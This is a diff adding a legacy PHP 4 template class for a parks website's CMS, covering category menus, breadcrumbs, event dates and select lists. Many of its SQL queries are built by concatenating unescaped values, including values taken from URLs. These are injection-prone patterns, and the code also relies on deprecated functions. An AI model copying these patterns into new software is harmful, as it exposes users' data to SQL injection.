+ * @param $$type : 'cat' or 'list'
+ *
+ * @return void
+ * @access public
+ **/
+ function get_template( $type )
+ {
+ $query = "select template from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ switch( $type )
+ {
+ case "cat":
+ switch( $data[0]['template'] )
+ {
+ case "5":
+ case "4":
+ case "2":
+ $this->img_align = "left";
+ break;
+
+ default:
+ $this->img_align = "right";
+ break;
+ }
+ break;
+
+ case "list":
+ switch( $data[0]['template'] )
+ {
+ case "5":
+ $this->img_align = "right";
+ $this->img_alternate = 0;
+ break;
+ case "4":
+ $this->img_align = "right";
+ $this->img_alternate = 1;
+ break;
+
+ case "3":
+ $this->img_align = "left";
+ $this->img_alternate = 1;
+ break;
+
+ case "2":
+ $this->img_align = "left";
+ $this->img_alternate = 0;
+ break;
+
+ case "1":
+ $this->img_align = "right";
+ $this->img_alternate = 0;
+ break;
+
+ default:
+ break;
+ }
+ break;
+ }
+ return( $this->template = $data[0]['template'] );
+ }
+ /**
+ * template_parser:This function creates data
+ * and items arrays and does the output for the page.
+ *
+ * @return void
+ * @access
+ **/
+ function get_listings()
+ {
+ // grab category and items into data and items respectfully
+ if( DELUXE_TOOLBOX )
+ {
+ $this->get_template( "list" );
+ }
+
+ if( !is_array( $this->items ) )
+ {
+ $this->get_all( 2 );
+ }
+
+ // load any static category page from the static directory
+ // hard codded content would have $catid.phtml page for it
+ $output .= $this->load_static_page();
+ switch($this->type)
+ {
+
+ default:
+ if(is_array($this->items))
+ {
+ foreach($this->items as $key=>$val)
+ {
+ // items can be moved around as needed
+ $output .= '<div class="listing">'."\n";
+ $output .= $val["image"];
+ $output .= $val["name"];
+ $output .= $val["address"];
+ $output .= $val["description"];
+ $output .= $val["contactname"];
+ $output .= $val["email"];
+ $output .= $val["phone"];
+ $output .= $val["fax"];
+ $output .= $val["url"];
+ $output .= $val["file"];
+ $output .= $val["file2"];
+ $output .= $val["file3"];
+ $output .= "</div>"."\n";
+ }
+ }
+ break;
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return( $output );
+ }
+
+ /**
+ * sub_nav:Create a sub navigation 4 across
+ * @param $catid: The catid for the page
+ *
+ * @return void
+ * @access
+ **/
+ function sub_nav($catid)
+ {
+ //$catid = $this->get_top_parent($catid);
+ $query = "SELECT id,category FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $counter = 1;
+ foreach($data as $key=>$val)
+ {
+ $url = $this->get_seo_url( $val['id'] );
+ //GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_Name( $val['id'],"bus_category",$this->DB ) );
+ echo '<a href="'.$url.'">';
+ echo $val["category"];
+ echo '</a><br>';
+ }
+ }
+ }
+
+ /**
+ * get_home_events: get events flaged as home events
+ * @param $DB: DB reference to DB obj
+
+ *
+ * @returnvoid
+ * @access
+ **/
+ function get_home_events()
+ {
+ $query = "SELECT id,header,substr(descr,0,30) as descr, bdate, edate
+ FROM event WHERE home = 't'";
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $output = '<div id="events">UPCOMING EVENTS<div id="eventsbox">
+ ';
+ foreach($data as $key=>$value)
+ {
+ $id = $value['id'];
+ $header = $value['header'];
+ $sdate = strtotime($value['bdate']);
+ $edate = strtotime($value['edate']);
+ $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+ $output .= $dates;
+ $output .= '<h3><a href="events.phtml?eventid='.$id.'">'.$header.'</a></h3>';
+ }
+ $output .= '</div></div>';
+ return($output);
+ }
+ else
+ {
+ return( '' );
+ }
+ }
+
+ /**
+ * get_event_date: make the event date human readable
+ * @param $sdate: start date
+ * @param $edate: end date
+ * @param $dateType: dateType Postgres,etc
+ *
+ * @return string
+ * @access
+ **/
+ function get_event_date($sdate,$edate,$dateType)
+ {
+ switch($dateType)
+ {
+ case "Postgres":
+ if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$sdate,$spt))
+ {
+ $mon = $spt[1];
+ $day = $spt[2];
+ $yr = $spt[3];
+ }
+
+ if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$edate,$ept))
+ {
+ $mon2 = $ept[1];
+ $day2 = $ept[2];
+ $yr2 = $ept[3];
+ }
+ break;
+
+ case "timestamp":
+ $mon = date("m",$sdate);
+ $day = date("d",$sdate);
+ $yr = date("Y",$sdate);
+ $mon2 = date("m",$edate);
+ $day2 = date("d",$edate);
+ $yr2 = date("Y",$edate);
+ break;
+
+ }$start = mktime(0,0,0,$mon,$day,$yr);
+ $end = mktime(0,0,0,$mon2,$day2,$yr2);
+ if ($day == $day2 && $mon == $mon2 && $yr == $yr2)
+ {
+ $dateparam = "F jS, Y";
+ $date_begin = date($dateparam, $start) ;
+ $date_end = "";
+ }
+ elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2)
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2)
+ {
+ $dateparam1 = "F jS -";
+ $dateparam2 = "jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2)
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($yr == $yr2)
+ {
+ $dateparam1 = "F jS -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ else
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+
+ return($date_begin." ".$date_end);
+ }
+
+ /**
+ * is_sub_id:Check to see if catid is sub of category
+ * @param $catid: the catid looking at
+ * @param $category: to see if it is in category
+ * @param $DB: Db object reference
+ *
+ * @return bool
+ * @access
+ **/
+ function is_sub_id($catid,$category,&$DB)
+ {
+ if($category==$catid)
+ {
+ return(true);
+ }
+ $query = "select id,parent from bus_category where id = $catid";
+ $data = $DB->db_auto_get_data($query);
+ $parent = $data[0]['parent'];
+ if($parent == 0)
+ {
+ return(false);
+ }
+ else
+ {
+ return( GLM_TEMPLATE::is_sub_id($parent,$category,&$DB) );
+ }
+ }
+
+ /**
+ * get_parent: get parent for this category
+ * @param $catid: id
+ * @param $DB: database obj
+ *
+ * @return int $parent
+ * @access
+ **/
+ function get_parent($catid,&$DB)
+ {
+ $query = "SELECT parent FROM bus_category WHERE id = $catid ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ return( $data[0]["parent"] );
+ }
+
+ /**
+ * get_sub_nav:
+ * @param $catid:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function get_sub_nav($catid,&$DB)
+ {
+ $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+ //echo $parentid.'<br>';
+ $query = "SELECT id,category FROM bus_category WHERE parent = $parentid ".$this->active_query." ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $output = '<div id="subnav">';
+ $counter = 1;
+ foreach($data as $key=>$val)
+ {
+ $url = $this->get_seo_url( $val['id'] );
+ if(GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) )
+ {
+ $output .= '<a class="current" href="'.$url.'">';
+ }
+ else
+ {
+ $output .= '<a href="'.$url.'">';
+ }
+ $output .= $val["category"];
+ $output .= '</a>';
+ if( GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB))
+ {
+ $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+ }
+ }
+ $output .= '</div>';
+ $output = GLM_TEMPLATE::clean_text($output);
+ echo $output;
+ }
+ return(false);
+ }
+
+ /**
+ * has_subs:
+ * @param $catid:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function has_subs($catid,&$DB)
+ {
+ $query = "SELECT id FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ return(true);
+ }
+ else
+ {
+ return(false);
+ }
+ }
+
+
+ /**
+ * get_top_parent:Get the highest level parent id (not 0 )for the category.
+ * @param $id: The catid for the page.
+ * @param $DB: obj
+ *
+ * @return int $parent
+ * @access
+ **/
+ function get_top_parent($id,&$DB)
+ {
+ if( $id == 0 )
+ {
+ return( 0 );
+ }
+ $qs = "select parent from bus_category where id = $id";
+ $parentrow = $DB->db_auto_get_data( $qs );
+ if($parentrow[0]['parent'] == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ return( GLM_TEMPLATE::get_top_parent($parentrow[0]['parent'],&$DB) );
+ }
+ }
+
+ /**
+ * show_catimg:output the category image.
+ * @param $catid: The catid for the page.
+ *
+ * @return void
+ * @access
+ **/
+ function show_catimg($catid)
+ {
+ $query = "SELECT image FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0]["image"]!="")
+ {
+ $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+ }
+ else
+ {
+ $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+ }
+ echo $img;
+ echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+ }
+
+
+ /**
+ * get_catheader:output the category name.
+ * @param $catid: The catid for the page
+ * @param $DB: db obj
+ *
+ * @return void
+ * @access
+ **/
+ function get_catheader($catid,$DB)
+ {
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $DB->db_auto_get_data($query);
+ if($data[0]['category']!="")
+ {
+ $header = strip_tags($data[0]['category']);
+ }
+ else
+ {
+ $header = '';
+ }
+ return( $header );
+ }
+
+ /**
+ * get_catintro: return the category page name.
+ * @param $catid: The catid for the page
+ * @param $DB: db obj
+ *
+ * @return void
+ * @access
+ **/
+ function get_catintro($catid)
+ {
+ $query = "SELECT intro FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0]['intro']!="")
+ {
+ $header = strip_tags($data[0]['intro']);
+ }
+ else
+ {
+ $header = '';
+ }
+ return( $header );
+ }
+
+ /**
+ * show_catheader:
+ * @param $catid:
+ *
+ * @return
+ * @access
+ **/
+ function show_catheader($catid)
+ {
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0][category]!="")
+ {
+ $header = $data[0][category];
+ }
+ else
+ {
+ $header = ' ';
+ }
+ echo $header;
+ }
+
+ /**
+ * get_menu_string:get categories for the phplayermenu
+ *
+ * @return string
+ * @access
+ **/
+ function get_menu_string()
+ {
+ $query = "SELECT id,parent,category FROM bus_category ORDER BY parent,pos";
+ $data = $this->DB->db_auto_get_data($query);
+ $newdata = GLM_TEMPLATE::sort_childs($data);
+ $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+ return($string);
+ }
+
+ function get_menu_array()
+ {
+ $query = "SELECT id,parent,category FROM bus_category WHERE active='t' ORDER BY parent,pos";
+ $data = $this->DB->db_auto_get_data($query);
+ $newdata = GLM_TEMPLATE::sort_childs($data);
+ return $newdata;
+ }
+
+ /**
+ * sort_childs:
+ * @param $threads:
+ *
+ * @return
+ * @access
+ **/
+ function sort_childs($threads)
+ {
+ foreach($threads as $var=>$value)
+ {
+ $childs[$value["parent"]][$value["id"]] = $value;
+ }
+ return($childs);
+ }
+
+ /**
+ * convert_to_thread:
+ * @param $threads:
+ * @param $thread:
+ *
+ * @return
+ * @access
+ **/
+ function convert_to_thread($threads, $thread)
+ {
+ foreach($thread as $parent=>$value)
+ {
+ $this->whole_thread .= str_repeat(".",$this->thread_count);
+ $this->whole_thread .= "|".$value[category];
+ $url = $this->get_seo_url( $value['id'] );
+ $this->whole_thread .= "|".$url;
+ $this->whole_thread .="\n";
+ if($threads[$parent])
+ {
+ $this->thread_count++;
+ GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+ }
+ }
+ $this->thread_count--;
+ return $this->whole_thread;
+ }
+
+ function has_children($catid)
+ {
+ // returns number of children that $catid has
+ $qs="SELECT count(*) FROM bus_category WHERE parent=$catid";
+ $row=$this->DB->db_auto_get_data($qs);
+ return $row[0]['count'];
+ }
+
+ /**
+ * get_ancesters:get the ancesters for this category
+ * @param $catid: catid
+ * @param $count: starting counter
+ *
+ * @return array
+ * @access
+ **/
+ function get_ancesters($catid,$count)
+ {
+ if($catid)
+ {
+ $query = "SELECT id,category,parent
+ FROM bus_category
+ WHERE id = ".$catid."
+ ".$this->active_query;
+ $res = $this->DB->db_auto_get_data($query);
+ $id = $res[0]['id'];
+ $parent = $res[0]['parent'];
+ $category = $res[0]['category'];
+ $this->ancesters[$count]['id'] = $id;
+ $this->ancesters[$count]['label'] = $category;
+
+ $url = $this->get_seo_url( $id );
+ $this->ancesters[$count]['link'] = $url;
+ GLM_TEMPLATE::get_ancesters($parent,$count+1,$conn);
+
+ return (array_reverse($this->ancesters) );
+ }
+ }
+ function meta_tags()
+ {
+ $query = "select description from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ $description = substr( strip_tags( $data[0]['description'] ), 0, 100 );
+ return( $description );
+ }
+
+ function title()
+ {
+ $query = "select category,intro from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ if( $data[0]['intro'] )
+ {
+ $title = strip_tags( $data[0]['intro'] );
+ }
+ else
+ {
+ $title = strip_tags( $data[0]['category'] );
+ }
+ return( $title.' - ' );
+ }
+
+ function get_bottom_nav($parent=0)
+ {
+ $return='';
+ $qs="SELECT id, category FROM bus_category WHERE id != 1 and parent=$parent ORDER BY pos ASC";
+ $row=$this->DB->db_auto_get_data($qs);
+ if( $GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' )
+ {
+ $links[] = '<a href="'.BASE_URL.'">Home</a>';
+ }
+ else
+ {
+ $links[] = '<a href="'.BASE_URL.'index.phtml">Home</a>';
+ }
+ if( !is_array( $row ) )
+ {
+ return FALSE;
+ }
+ else
+ {
+ for( $i=0; $i<sizeof( $row ); $i++)
+ {
+ $url = $this->get_seo_url( $row[$i]['id'] );
+ $links[] = '<a href="'.$url.'">'.$row[$i]['category']."</a>\n";
+ }
+ if( is_array( $links) )
+ {
+ $return = implode(" | ",$links);
+ }
+ return $return;
+ }
+ }
+
+
+ /**
+ * make_ul_menu: create url list of categories
+ * @param $parent: parent to start from
+ * @param $$url='': page to go to
+ * @param $$catid=0:
+ *
+ * @return
+ * @access
+ **/
+ function make_ul_menu( $parent = 0 )
+ {
+ $qs = "SELECT id,category FROM bus_category WHERE parent=$parent AND active='t' ORDER BY pos";
+ $data = $this->DB->db_auto_get_data($qs);
+ if(!is_array($data))
+ {
+ return( false );
+ }
+ else
+ {
+ foreach( $data as $key => $row )
+ {
+ $url = $this->get_seo_url( $row['id'] );
+ $return.="<li>".'<a href="'.$url.'"';
+ if( $this->catid == $row['id'] )
+ {
+ $return .= ' id="current"';
+ }
+ $return .= '>'.$row['category']."</a>";
+ if( !$GLOBALS['non_active'] && $this->has_subs( $row['id'], &$this->DB ) &&
+ ( $this->is_sub_id( $this->catid, $row['id'], &$this->DB ) || $this->catid == $row['id'] ) )
+ {
+ $ret2 = $this->make_ul_menu( $row['id'] );
+ $return.=$ret2;
+ $return.="";
+ }
+ $return .= '</li>';
+ }
+
+ if( $parent == 0 )
+ {
+ return '<ul id="navlist">'.$return."</ul>";
+ }
+ else
+ {
+ return '<ul>'.$return."</ul>\n";
+ }
+ }
+ }
+ function make_custom_menu($parent,$url='',$onhome=0)
+ {
+ $url==''?$url=$_SERVER['PHP_SELF']:'';
+ //$url=BASE_URL;
+ if($onhome==1)
+ {
+ //$opt="AND onhome='t' ";
+ $qs="SELECT id,category,image FROM bus_category WHERE onhome='t' AND active='t' ORDER BY homepos ASC";
+ }else
+ {
+ $qs="SELECT id,category,image FROM bus_category WHERE parent=$parent $opt AND active='t' ORDER BY pos";
+ }
+
+ $row=$this->DB->db_auto_get_data($qs);
+ if(!is_array($row))
+ {
+ return FALSE;
+ }else
+ {
+ $z=1; // used to find the 3rd image
+ for($i=0;$i<sizeof($row);$i++)
+ {
+ if($z==3)
+ {
+ $z=1;
+ $brtag='<br clear="all">';
+ }else
+ {
+ $brtag='';
+ $z++;
+ }
+ $url = $this->get_seo_url( $row[$i]['id'] );
+ $return.='<div class="products"><a href="'.$url.'"class="text">'.$row[$i]['category'].'</a>'."\n".'<a href="'.URL_BASE.$p.$category.'"class="image">';
+ if($row[$i][image]!='')
+ {
+ $return.='<img src="'.THUMB.$row[$i][image].'">';
+ }
+
+ $return.='</a>'."</div>$brtag\n";
+ }
+ return $return;
+ }
+ }
+
+ /**
+ * print_ancesters:print out the ancesters
+ * @param $catid: the id to start at.
+ *
+ * @return
+ * @access
+ **/
+ function print_ancesters($catid)
+ {
+ $string = GLM_TEMPLATE::get_ancesters($catid,0);
+ if(is_array($string))
+ {
+ if(count($string) > 1)
+ {
+ $url = $this->get_seo_url( 1 );
+ $outarray[] = '<a href="'.$url.'">Home</a>';
+ }
+ for($i=0;$i<$end;$i++)
+ {
+ $outarray[] = '<a href="'.BASE_URL.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+ }
+ $outarray[] = $this->get_catheader( $catid, &$this->DB );
+ if( is_array( $outarray ) && count( $outarray ) > 1 )
+ {
+ $out .= implode( " <b>»</b> ", $outarray );
+ }
+ }
+ return( '<div id="breadcrumbs">'.$out.'</div>' );
+ }
+
+ /**
+ * build_picklist:
+ * @param $fieldname:
+ * @param $data:
+ * @param $selected:
+ * @param $$type = "standard":
+ * @param $$auto = 0:
+ * @param $$width = NULL :
+ *
+ * @return
+ * @access
+ **/
+ function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+ {
+ if(!is_array($selected))
+ {
+ $sel[0] = $selected;
+ }
+ else
+ {
+ $sel = $selected;
+ }
+ if($auto == 1)
+ {
+ $autosubmit = "onChange=\"form.submit()\"";
+ }
+ if($width)
+ {
+ $autosubmit .= "style=\"width:".$width."px;\"";
+ }
+ switch( $type )
+ {
+ case "multiple":
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ if( in_array($key,$sel) )
+ {
+ $select = " SELECTED ";
+ }
+ else
+ {
+ $select = "";
+ }
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ case "simple":
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ $select = (in_array($key,$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ }
+ $str .= "</SELECT>\n";
+ return( $str );
+ }
+
+ /**
+ * keyword_replace:
+ * @param $string:
+ *
+ * @return
+ * @access
+ **/
+ function keyword_replace($string)
+ {
+ //return($string);
+ $page = "main.phtml";
+ if($search = strstr($string,"{"))
+ {
+ if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+ {
+ if($needle[0] != "")
+ {
+ $qs = "SELECT id,category
+ FROM bus_category
+ WHERE trim(keyword) = '".trim($needle[1])."'";
+
+ $keyres = $this->DB->db_auto_get_data($qs);
+ $parent = $this->get_top_parent($keyres[0]['id'],&$this->DB);
+ $url = $this->get_seo_url( $keyres[0]['id'] );
+ $replacement = "<a href=\"".$url."\">".$keyres[0]['category']."</a>";
+ $string = str_replace($needle[0],$replacement,$string);
+ }
+ }
+ else{
+ return($string);
+ }
+ if($search = strstr($string,"{"))
+ return($this->keyword_replace($string));
+ }
+ return($string);
+ }
+ /**
+ * getIdFromName:
+ * @param $name:
+ * @param $table:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function get_id_from_name( $name, $table, &$DB)
+ {
+ if( $name == "" )
+ {
+ return( 0 );
+ }
+ if( is_numeric( $name ) )
+ {
+ return( $name );
+ }
+ if( ereg("(.*)/$",$name,$tmp) )
+ {
+ $name = $tmp[1];
+ }
+ $category = "category";
+ if( ereg("-([0-9]*)$",$name,$tmp ) )
+ {
+ $id = $tmp[1];
+ return( $id );
+ }
+ // should already be returning id at this point
+ // putting the _id on the end of all url's as
+ // the other way is very inifiecent for the database.
+ $name = str_replace( "-"," ",$name );
+ $query = "select id from $table where trim(lower(replace(replace(replace(replace(replace(replace($category,'\'',''),'/',''),'-',' '),'#',''),'&',''),'?',''))) = '".trim(strtolower($name))."'";
+ $data = $DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ foreach( $data as $key=>$val )
+ {
+ $catid = $val['id'];
+ }
+ return( $catid );
+ }
+ else
+ {
+ return( 0 );
+ }
+ }
+
+ function get_base_url( $id )
+ {
+ if( $this->pages[$id] )
+ {
+ $page = $this->pages[$id];
+ }
+ else
+ {
+ $page = $this->pages['default'];
+ }
+ if( $GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' && $id == 1 )
+ {
+ $page = '';
+ }
+ return( $page );
+ }
+
+ /**
+ * getCategoryName:
+ * @param $id:
+ * @param $table:
+ * @param $&$DB :
+ *
+ * @return
+ * @access
+ **/
+ function get_category_name( $id, $table,&$DB )
+ {
+ if( !is_numeric( $id ) )
+ {
+ return( false );
+ }
+ if($table == "class_category")
+ {
+ $category = "name";
+ }
+ else
+ {
+ $category = "category";
+ }
+ $query = "select $category from $table where id = $id";
+ $data = $DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+
+ $add = '-'.$id;
+ if( $data[0]['category'] )
+ {
+ $category = $data[0]['category'].$add;
+ }
+ elseif( $data[0]['name'])
+ {
+ $category = $data[0]['name'].$add;
+ }
+ else
+ {
+ $category = $add;
+ }
+ return( $category );
+ }
+ }
+
+
+ /**
+ * setNameUrl:
+ * @param $$name :
+ *
+ * @return
+ * @access
+ **/
+ function set_name_url( $name )
+ {
+ $name = strtolower( trim( str_replace( " ","-",$name ) ) );
+ $name = str_replace( "/","",$name );
+ $name = str_replace( "#","",$name );
+ $name = str_replace( "&","",$name );
+ $name = str_replace( "?","",$name );
+ $name = str_replace( "'","",$name );
+ return( $name );
+ }
+
+ /** valid email
+ Checks for a valid format and good (mx check)
+ email address.
+ @param string email the email address as string.
+ @return boolean
+ */
+ function valid_email ($email) {
+ if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$", $email, $check)) {
+ if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) {
+ return TRUE;
+ }
+ }
+ return FALSE;
+ }
+}
+?>
--- /dev/null
+<?php
+// $Id: class_template.mshp.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+require_once(BASE."classes/class_db.inc");
+class GLM_TEMPLATE{
+
+ /** @var header_begin The style starting for header */
+ var $header_begin;
+ /** @var header_end The style ending for header*/
+ var $header_end;
+ /** @var subheader_begin The style starting for header */
+ var $subheader_begin;
+ /** @var subheader_end The style ending for header*/
+ var $subheader_end;
+ /** @var img_align The alignment of images*/
+ var $img_align;
+ /** @var img_alternate 1 alternate images 0 not*/
+ var $img_alternate;
+ /** @var img_size The path to the image directory*/
+ var $img_size;
+ /** @var DB The database class*/
+ var $DB;
+ /** @var data The category array*/
+ var $data;
+ /** @var items The items array*/
+ var $items;
+ /** @var type The type*/
+ var $type;
+ /** @var whole_thread The thread string*/
+ var $whole_thread;
+ /** @var thread_count The thread count*/
+ var $thread_count;
+ /** @var catid catid for te page */
+ var $catid;
+ /** @var array $pages for base page name */
+ var $pages;
+ /** @var array $parks the id's that are parks */
+ var $parks;
+ /** @var array $news the id's that have news */
+ var $news;
+ /** @var array maps */
+ var $maps;
+ /** @var array tours */
+ var $tours;
+ /**
+ * GLM_TEMPLATE:Contsructor of the class
+ * This function is run on intialization.
+ * Any setup vars should be overwritten by creating a new class
+ * that extends this one and setting new vars in the constructor.
+ *
+ * @param $catid: catid Must be set
+ *
+ * @return void
+ * @access
+ **/
+ function GLM_TEMPLATE( $catid, $DB = NULL )
+ {
+ $this->set_catid( $catid );
+// $this->set_id( $id );
+ $this->set_DB( $DB );
+ $this->header_begin = "<h1>"; // class="content" should not be used anymore
+ $this->header_end = "</h1>"; // create style for p h1 h2 tags if needed try to keep it clean
+ $this->subheader_begin = "<h2>"; // should not be using h3 here duh go from 1 to 2 instead
+ $this->subheader_end = "</h2>"; // like your suppose to
+ $this->img_alternate = 0; // for alternating images set to 1 else leave alone
+ $this->img_align = ""; // the starting postion for images change to left if needed
+ $this->img_size = RESIZED; // img_size are RESIZED,MIDSIZED,THUMB do not use ORIGINAL
+ $this->whole_thread = ""; // do not touch this it is used for menu generation
+ $this->thread_count = 1; // also used for menu generation
+ $this->set_pages( $GLOBALS['PAGES'] );
+ $this->set_parks();
+ $this->set_news();
+ $this->set_park_maps();
+ $this->set_park_tours();
+ }
+
+ /**
+ * set_park_maps: create array with links tot the maps pages.
+ *
+ * @return void
+ * @access
+ **/
+ function set_park_maps()
+ {
+ $maps[6] = 143;
+ $maps[7] = 144;
+ $maps[8] = 145;
+ $maps[9] = 146;
+ $maps[10] = 147;
+ $maps[11] = 148;
+ $this->maps =& $maps;
+ }
+
+ function meta_tags()
+ {
+ $query = "select description from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ $description = substr( strip_tags( $data[0]['description'] ), 0, 50 );
+ return( $description );
+ }
+
+ function title()
+ {
+ $query = "select category,intro from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ if( $data[0]['intro'] )
+ {
+ $title = strip_tags( $data[0]['intro'] );
+ }
+ else
+ {
+ $title = strip_tags( $data[0]['category'] );
+ }
+ return( $title.' - ' );
+ }
+
+ function set_park_tours()
+ {
+ $tours[6] = 'http://vm.mackinacparks.com/index.php?category=1';
+ $tours[7] = 'http://vm.mackinacparks.com/index.php?category=4';
+ $tours[8] = 'http://vm.mackinacparks.com/index.php?category=2';
+ $tours[9] = 'http://vm.mackinacparks.com/index.php?category=3';
+ $tours[10] = 'http://vm.mackinacparks.com/index.php?category=6';
+ $tours[11] = 'http://vm.mackinacparks.com/index.php?category=5';
+ $this->tours =& $tours;
+ }
+
+ /**
+ * set_news:
+ *
+ * @return
+ * @access
+ **/
+ function set_news()
+ {
+ $news[77] = 2;
+ $news[78] = 3;
+ $news[17] = 1;
+ $news[80] = 4;
+ $news[93] = 6;
+ $news[84] = 5;
+ $news[6] = 9;
+ $news[7] = 10;
+ $news[8] = 11;
+ $news[9] = 12;
+ $news[10] = 13;
+ $news[11] = 14;
+
+ $this->news =& $news;
+ }
+
+ /**
+ * under_parks:
+ * @param $$id :
+ *
+ * @return
+ * @access
+ **/
+ function under_parks( $id )
+ {
+ foreach( $this->parks as $k => $park )
+ {
+ if( $this->is_sub_id( $id, $park, $this->DB ) )
+ {
+ return( $park );
+ }
+ }
+ return( false );
+ }
+
+ /**
+ * in_parks: check to see if the id is in the parks
+ * @param $$id : the id of the bus_category
+ *
+ * @return false if not a park or park id if it is one
+ * @access public
+ **/
+ function in_parks( $id )
+ {
+ foreach( $this->parks as $k => $park )
+ {
+ if( $id == $park )
+ {
+ return( $park );
+ }
+ }
+ return( false );
+ }
+
+ /**
+ * set_parks: set up the parks array 6 - 11
+ *
+ * @return void
+ * @access public
+ **/
+ function set_parks()
+ {
+ $parks = array(6,7,8,9,10,11);
+ $this->parks = $parks;
+ }
+
+ function get_park_events()
+ {
+ if( $park_id = $this->in_parks( $this->catid ) )
+ {
+ // get the topic name from the topic table
+ $query = "select descr from topic where id = $park_id";
+ $event_topic_data = $this->DB->db_auto_get_data( $query );
+
+ $query = "SET DATESTYLE TO 'SQL,US';select id,header,img,descr,bdate,edate from event where topicid = $park_id";
+ $event_data = $this->DB->db_auto_get_data( $query );
+ if( is_array( $event_data ) )
+ {
+ $out .= '<div id="eventsleft"><h2>Special Events at '.$event_topic_data[0]['descr'].'</h2>';
+ foreach( $event_data as $key => $val )
+ {
+ $date = $this->get_event_date($val['bdate'],$val['edate'],'Postgres');
+ // $image = ( $val['img'] ) ? '<img src="'.THUMB.$val["img"].'" border="0">': '';
+ $park = $this->get_seo_url( $park_id );
+ $event_name = $this->set_name_url( $val['header'] );
+ $link = '<a href="'.BASE_URL.'events/'.$park.$event_name.'/">'.$val["header"].'</a>';
+ $out .= '<img src="'.BASE_URL.'assets/events-divider.gif" width="86"
+ height="6" alt="events-divider (1K)">' .
+ $link .
+ $date;
+ }
+ $out .= '</div>';
+ }
+ return( $out );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+
+ /**
